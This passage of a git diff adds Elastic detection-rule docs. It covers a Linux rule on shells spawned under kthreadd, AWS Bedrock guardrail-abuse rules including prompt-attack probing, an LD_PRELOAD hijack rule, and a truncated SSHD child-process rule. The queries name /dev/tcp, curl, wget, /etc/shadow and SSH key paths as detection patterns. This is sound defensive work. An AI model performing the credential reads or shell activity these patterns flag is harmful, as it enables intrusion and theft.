Remove or quarantine these files as necessary. +- Check for unauthorized modifications in critical system files and directories such as /etc/init.d, /etc/ssh, and /root/.ssh. Restore any altered files from a known good backup. +- Escalate the incident to the security operations team for a deeper forensic investigation to determine the root cause and entry point of the threat. +- Implement additional monitoring on the affected host and similar systems to detect any recurrence of the threat, focusing on the specific indicators identified in the alert. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that may have been exploited by the adversary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:kthreadd and ( + process.executable:(/dev/shm/* or /tmp/* or /var/tmp/* or /var/www/*) or + process.name:(bash or csh or curl or dash or fish or id or ksh or nohup or setsid or sh or tcsh or wget or whoami or zsh) +) and +process.command_line:( + */dev/shm/* or */dev/tcp/* or */etc/init.d* or */etc/ld.so* or */etc/profile* or */etc/rc.local* or */etc/shadow* or */etc/ssh* or + */etc/sudoers* or */home/*/.ssh/* or */root/.ssh* or */tmp/* or */var/log/* or */var/run/* or */var/tmp/* or */var/www/* or + *base64* or *cron* or *xxd* or *~/.ssh/* +) and not ( + process.name:(true or cifs.upcall or dpkg or flock or gdbus or getopt or grep or mount or touch or umount or uname) or + process.command_line:( + "sh -c /bin/true" or */bin/ps* or */usr/bin/find* or */usr/bin/grep* or *ds_agent* or *gitlabrunner* or *nagios* or + *omsagent* or *pgrep* + ) or + process.executable:( + /lib/systemd/systemd-cgroups-agent or /proc/self/exe or /usr/local/axs-haproxy-monitoring/haproxy_stats.sh or /tmp/newroot/* or + /var/lib/docker/overlay2/* or /vz/root/* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-confidence-content-filter-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-confidence-content-filter-blocks-detected.asciidoc new file mode 100644 index 0000000000..4782f3ab71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-confidence-content-filter-blocks-detected.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-10-unusual-high-confidence-content-filter-blocks-detected]] +=== Unusual High Confidence Content Filter Blocks Detected + +Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Confidence Content Filter Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can enable Content filter for Hate, Insults, Sexual Violence and Misconduct along with Prompt Attack filters prompts +to prevent the model from generating content on specific, undesired subjects, and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account whose prompts caused high confidence content filter blocks and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value fields +| mv_expand gen_ai.compliance.violation_code +| mv_expand gen_ai.policy.confidence +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for high-confidence content policy blocks with targeted violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.policy.name == "content_policy" + and gen_ai.policy.confidence like "HIGH" + and gen_ai.compliance.violation_code in ("HATE", "MISCONDUCT", "SEXUAL", "INSULTS", "PROMPT_ATTACK", "VIOLENCE") + +// keep ECS + compliance fields +| keep + user.id, + gen_ai.compliance.violation_code + +// count blocked violations per user per violation type +| stats + Esql.ml_policy_blocked_violation_count = count() + by + user.id, + gen_ai.compliance.violation_code + +// Aggregate all violation types per user +| stats + Esql.ml_policy_blocked_violation_total_count = sum(Esql.ml_policy_blocked_violation_count) + by + user.id + +// Filter for users with more than 5 total violations +| where Esql.ml_policy_blocked_violation_total_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_violation_total_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..53acd4cc5c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-sensitive-information-policy-blocks-detected.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-10-unusual-high-denied-sensitive-information-policy-blocks-detected]] +=== Unusual High Denied Sensitive Information Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Sensitive Information Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "sensitive information filters" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories. + + +*Possible investigation steps* + + +- Identify the user account that queried sensitive information and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-valued policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked actions related to sensitive info policy +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "sensitive_information_policy" + +// keep only relevant fields +| keep user.id + +// count how many times each user triggered a sensitive info block +| stats + Esql.ml_policy_blocked_sensitive_info_count = count() + by user.id + +// Filter for users with more than 5 violations +| where Esql.ml_policy_blocked_sensitive_info_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_sensitive_info_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-topic-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-topic-blocks-detected.asciidoc new file mode 100644 index 0000000000..554b719816 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-denied-topic-blocks-detected.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-10-unusual-high-denied-topic-blocks-detected]] +=== Unusual High Denied Topic Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Denied Topic Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account that queried denied topics and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy name field +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked topic policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "topic_policy" + +// keep only user info +| keep user.id + +// count how many times each user triggered a blocked topic policy +| stats + Esql.ml_policy_blocked_topic_count = count() + by user.id + +// Filter for excessive violations +| where Esql.ml_policy_blocked_topic_count > 5 + +// sort highest to lowest +| sort Esql.ml_policy_blocked_topic_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-word-policy-blocks-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-word-policy-blocks-detected.asciidoc new file mode 100644 index 0000000000..bee980e0bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-high-word-policy-blocks-detected.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-10-unusual-high-word-policy-blocks-detected]] +=== Unusual High Word Policy Blocks Detected + +Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual High Word Policy Blocks Detected* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "word filters" to prevent the model from generating content on profanity, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account whose prompts contained profanity and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multivalued policy names +| mv_expand gen_ai.policy.name +| mv_expand gen_ai.policy.action + +// Filter for blocked profanity-related policy violations +| where + gen_ai.policy.action == "BLOCKED" + and gen_ai.compliance.violation_detected == "true" + and gen_ai.policy.name == "word_policy" + +// keep relevant user field +| keep user.id + +// count blocked profanity attempts per user +| stats + Esql.ml_policy_blocked_profanity_count = count() + by user.id + +// Filter for excessive policy violations +| where Esql.ml_policy_blocked_profanity_count > 5 + +// sort by violation volume +| sort Esql.ml_policy_blocked_profanity_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc new file mode 100644 index 0000000000..d74a426e57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-10-unusual-ld-preload-ld-library-path-command-line-arguments]] +=== Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments + +This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments* + + +LD_PRELOAD and LD_LIBRARY_PATH are environment variables in Linux that influence dynamic linking by specifying libraries to load before others. Adversaries exploit these to hijack execution flow, evade defenses, or escalate privileges. The detection rule identifies suspicious use of these variables in shell commands, excluding benign processes, signaling potential misuse for persistence or defense evasion. + + +*Possible investigation steps* + + +- Review the process command line to identify the specific libraries being loaded via LD_PRELOAD or LD_LIBRARY_PATH and assess their legitimacy. +- Examine the parent process name to determine if the process is expected to use these environment variables, considering the exclusion list provided in the query. +- Investigate the user account associated with the process to check for any signs of compromise or unusual activity. +- Analyze the process execution context, including the timestamp and host details, to identify any patterns or correlations with other suspicious activities. +- Check system logs and other security tools for related alerts or events that might indicate broader malicious activity or attempts to evade defenses. + + +*False positive analysis* + + +- Development and testing environments often use LD_PRELOAD and LD_LIBRARY_PATH for legitimate purposes such as testing new libraries or debugging. Consider excluding processes associated with these environments if they are known and trusted. +- Some software installations or updates may temporarily use these environment variables to ensure compatibility or to load specific libraries. Monitor installation logs and exclude these processes if they are verified as part of legitimate software management. +- System administration scripts or automation tools might use these variables to manage library paths dynamically. Review and whitelist these scripts if they are part of routine maintenance and have been vetted for security. +- Certain applications, like custom-built software or legacy systems, may rely on these variables for normal operation. Document these applications and exclude them from the rule if they are essential and secure. +- Security tools or monitoring agents might use these variables to hook into processes for legitimate monitoring purposes. Verify the behavior of these tools and exclude them if they are part of your security infrastructure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified with unusual LD_PRELOAD or LD_LIBRARY_PATH usage to halt potential exploitation. +- Conduct a thorough review of the affected system's environment variables and remove any unauthorized or suspicious entries. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement stricter access controls and monitoring on the affected system to prevent unauthorized changes to environment variables. +- Update and enhance detection rules to include additional indicators of compromise related to LD_PRELOAD and LD_LIBRARY_PATH misuse, ensuring future attempts are identified promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:(* and not ( + awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or + nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or + vls_agent or zabbix_agentd +)) and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-sshd-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-sshd-child-process.asciidoc new file mode 100644 index 0000000000..df16b0a4e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-sshd-child-process.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-10-unusual-sshd-child-process]] +=== Unusual SSHD Child Process + +This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hadess.io/the-art-of-linux-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual SSHD Child Process* + + +Secure Shell (SSH) is a protocol used to securely access remote systems. Adversaries may exploit SSH to maintain persistence or create backdoors by spawning unexpected child processes. The detection rule identifies anomalies by monitoring process creation events where SSH or SSHD is the parent, focusing on atypical command-line arguments, which may indicate malicious activity. + + +*Possible investigation steps* + + +- Review the process command line arguments for the unusual SSHD child process to identify any suspicious or unexpected commands that could indicate malicious activity. +- Check the user account associated with the SSHD child process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Investigate the parent process (SSH or SSHD) to understand the context of the connection, including the source IP address and any associated user activity, to assess if it aligns with expected behavior. +- Examine the process tree to identify any subsequent processes spawned by the unusual SSHD child process, which may provide further insight into the attacker's actions or objectives. +- Correlate the event with other security logs and alerts from the same host or network segment to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tools may trigger this rule if they execute commands with SSH or SSHD as the parent process. To handle this, identify and document these scripts, then create exceptions for their specific command-line patterns. +- System maintenance tasks or updates that involve SSH connections might appear as unusual child processes. Regularly review and whitelist these known maintenance activities to prevent 